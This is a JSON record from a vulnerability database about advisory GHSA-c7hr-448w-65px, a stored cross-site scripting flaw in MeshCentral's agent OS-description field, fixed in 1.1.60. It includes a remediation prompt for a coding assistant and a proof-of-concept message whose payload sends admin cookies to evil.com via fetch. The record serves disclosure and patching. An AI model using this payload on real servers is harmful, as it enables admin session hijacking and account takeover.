{"answers":{"affected":"2 open source packages ship an affected version, including meshcentral.","exploited":"There is no known exploitation of GHSA-c7hr-448w-65px in the wild and no public exploit code.","fix":"Upgrade meshcentral to 1.1.60 or later.","what":"GHSA-c7hr-448w-65px is a cross-site scripting vulnerability in meshcentral, published on 18 Aug 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-c7hr-448w-65px and fix it if it is affected.\n\nWhat it is: GHSA-c7hr-448w-65px is a cross-site scripting vulnerability in meshcentral, published on 18 Aug 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-c7hr-448w-65px in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- meshcentral (npm): affected all versions; fixed in 1.1.60\n- meshcentral (npm): affected all versions; fixed in 1.1.60\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-c7hr-448w-65px/ (Markdown: https://insights.sbomify.com/GHSA-c7hr-448w-65px/index.md)","id":"GHSA-c7hr-448w-65px","markdown":"https://insights.sbomify.com/GHSA-c7hr-448w-65px/index.md","name":"GHSA-c7hr-448w-65px","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["account_takeover","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"MeshCentral remote management","requires_auth":"low_privilege","summary":"A compromised agent can inject malicious scripts via unsanitized OS description fields, leading to admin session hijacking when viewed.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"MeshCentral has unsanitized data fields","id":"GHSA-c7hr-448w-65px","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"xss","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["1.1.60"],"introduced":["0"],"last_affected":[],"package":"meshcentral","purl":null,"source":"GHSA-c7hr-448w-65px"},{"ecosystem":"npm","fixed":["1.1.60"],"introduced":["0"],"last_affected":[],"package":"meshcentral","purl":"pkg:npm/meshcentral","source":"GHSA-c7hr-448w-65px"}],"products":null,"published":"2026-08-18","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"A compromised agent can inject malicious scripts via unsanitized OS description fields, leading to admin session hijacking when viewed.","url":"https://insights.sbomify.com/GHSA-c7hr-448w-65px/"}